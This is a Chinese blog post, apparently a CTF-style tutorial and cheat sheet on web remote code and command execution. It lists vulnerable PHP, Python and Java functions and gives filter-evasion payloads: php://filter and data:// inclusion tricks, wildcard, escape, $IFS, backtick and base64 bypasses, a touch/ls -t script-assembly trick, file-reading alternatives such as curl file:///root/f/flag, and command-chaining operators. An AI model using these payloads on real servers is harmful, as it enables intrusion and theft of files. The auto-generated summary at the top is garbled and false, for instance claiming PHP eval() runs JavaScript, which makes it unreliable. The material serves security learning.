Web通用漏洞--RCE

web,通用,漏洞,rce · 浏览次数 : 20

小编点评

**RCE漏洞简介** RCE漏洞是一种远程代码执行 (RCE) 漏洞,它允许攻击者通过执行恶意代码的方式直接控制后台系统。RCE漏洞分为两种主要类型:代码执行漏洞和命令执行漏洞。 **代码执行漏洞** 代码执行漏洞通过将恶意代码注入代码执行函数中来执行恶意代码。例如,使用 `eval()` 函数可以执行任何在代码中定义的 JavaScript 代码。 **命令执行漏洞** 命令执行漏洞通过将恶意代码注入命令执行函数中来执行恶意命令。例如,使用 `system()` 或 `exec()` 函数可以执行任何在代码中定义的命令。 **RCE漏洞利用伪协议玩法配合文件包含伪协议** RCE漏洞利用伪协议玩法配合文件包含恶意代码。当攻击者将恶意代码写入文件时,文件中的伪协议可以引导恶意代码被执行。例如,使用 `include` 或 `eval()` 函数可以将恶意代码从文件中读取。 **RCE漏洞的其他特性** * 攻击者可以使用 RCE漏洞执行任何对服务器信任的代码。 * 攻击者可以使用 RCE漏洞执行任何对服务器执行任何操作的代码。 * 攻击者可以使用 RCE漏洞远程控制任何服务器,无论其运行操作系统还是应用程序。

正文

Web通用漏洞--RCE

漏洞简介

RCE远程代码/命令执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
RCE漏洞也分为代码执行漏洞和命令执行漏洞,所谓代码执行即通过漏洞点注入参数而使用源代码进行相应的操作,所谓的命令执行就是通过漏洞点注入参数使用源代码进行调用系统命令进行相关操作,从而达到执行系统命令的目的。无论是代码执行还是命令执行,两者都可以相互转换。代码执行可以通过调用源码中相应的系统命令执行函数进行命令执行的转换,命令执行可以通过源代码环境进行文件写入等操作,并通过命令行的方式进行代码执行的操作。因此无论是代码执行还是命令执行,两者都可以进行相互转换。

漏洞函数

  • PHP代码执行函数:
    eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
  • PHP命令执行函数:
    system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等
  • Python:
    eval exec subprocess os.system commands
  • Java:
    Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,
    但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.

漏洞利用

伪协议玩法

配合文件包含伪协议(代码执行)
include $_GET[a]?>&a=data://text/plain,
include $_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=index.php

过滤关键字

  • 通配符
flag=fl*
cat fl*
cat ?la*
  • 转义符号
ca\t /fl\ag
cat fl''ag
  • 空变量$*和$@,$x,${x}绕过
ca$*t fl$*ag
ca$@t fl$@ag
ca$5t f$5lag
ca${2}t f${2}lag
  • 拼接法
a=fl;b=ag;cat$IFS$a$b
  • 反引号绕过:
    cat `ls`
  • 编码绕过:
echo 'flag' | base64
cat `echo ZmxhZwo= | base64 -d`
  • 组合绝活
touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t >shell
sh shell
#  \指的是换行
#  ls -t是将文本按时间排序输出
#  ls -t >shell  将输出输入到shell文件中
#  sh将文本中的文字读取出来执行

异或无符号(过滤0-9a-zA-Z)

脚本生成16进制进行异或运算、或运算等

过滤函数关键字

内敛执行绕过(system)

echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);

过滤执行命令(如cat tac等)

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
curl file:///root/f/flag
strings flag
uniq -c flag
bash -v flag
rev flag

过滤空格

%09(url传递)(cat%09flag.php)
cat${IFS}flag
a=fl;b=ag;cat$IFS$a$b
{cat,flag}
> < <> 重定向符
%20

无回显利用

直接写个文件访问查看
直接进行对外访问接受

截断绕过

;前面和后面命令都要执行,无论前面真假
|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

以上内容仅作参考学习,如有瑕疵或错误,希望各位师傅们斧正,感谢阅读。

与Web通用漏洞--RCE相似的内容:

Web通用漏洞--RCE

# Web通用漏洞--RCE ## 漏洞简介 RCE远程代码/命令执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 RCE漏洞也分为代码执行漏洞和命令执行漏洞,所谓代码执行即通过漏洞点注入参数而使用源代码进行相应的操作,所谓的命令执行就是通过漏洞点注入参数使用源

Web通用漏洞--文件包含

# Web通用漏洞--文件包含 ## 文件包含原理 在项目开发过程中,开发人员通常会将重复使用的函数写入单个文件中,在使用该类函数时,直接调用文件即可,无需重新编写,这种调用文件的过程成为文件包含。在文件包含过程中,如果用户可以控制所包含的文件,则为文件包含漏洞。 ## 文件包含函数 PHP:inc

Web通用漏洞--XSS

# Web通用漏洞--XSS ## XSS原理 XSS称为跨站脚本攻击,这种漏洞利用通常是被动性攻击,即需要受害者做出某些行为来配合攻击行为,才能达到攻击效果 XSS的原理是恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中 Web 里面的脚本代码会被执行,从而可以

Web通用漏洞--CSRF

# Web通用漏洞--CSRF ## 漏洞简介 CSRF(Cross Site Request Forgery, 跨站请求伪造/客户端请求伪造),即通过伪造访问数据包并制作成网页的形式,使受害者访问伪造网页,同时触发伪造的请求而达到攻击效果的一种手段。 ![在这里插入图片描述](https://im

Web通用漏洞--SSRF

# Web通用漏洞--SSRF ## 漏洞简介 SSRF(Server-Side Request Forgery:服务器端请求伪造) 一种由攻击者构造形成由服务端发起请求的一个安全漏洞; 一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而

Web通用漏洞--文件上传

# Web通用漏洞--文件上传 ## 概述 文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,

Web通用漏洞--sql注入

# SQL注入 mysql注入目的:获取当前web权限 ## mysql注入--常规查询&union联合查询 1. MYSQL--Web组成架构 服务器搭建web服务可能存在多个站点搭建在一台服务器中,数据集中存储在数据库中,因此对数据库的管理也可以分为两种架构: 统一用户管理数据库,即对所有站点数

Web攻防--JNDI注入--Log4j漏洞--Fastjson反序列化漏洞

JNDI注入 什么是JNDI JNDI全称为 Java Naming and Directory Interface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。 JNDI支持的服务主要有:DNS

详解Web应用安全系列(1)注入漏洞之SQL注入

注入漏洞通常是指在可输入参数的地方,通过构造恶意代码,进而威胁应用安全和数据库安全。常见的注入漏洞包括:SQL注入和XSS跨站脚本攻击。 这篇文章我们主要讲SQL注入,SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加

Web攻防--xxe实体注入

# web攻防--xxe实体注入 ## 漏洞简介 XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。 在某些情况下,攻击者可以利用 X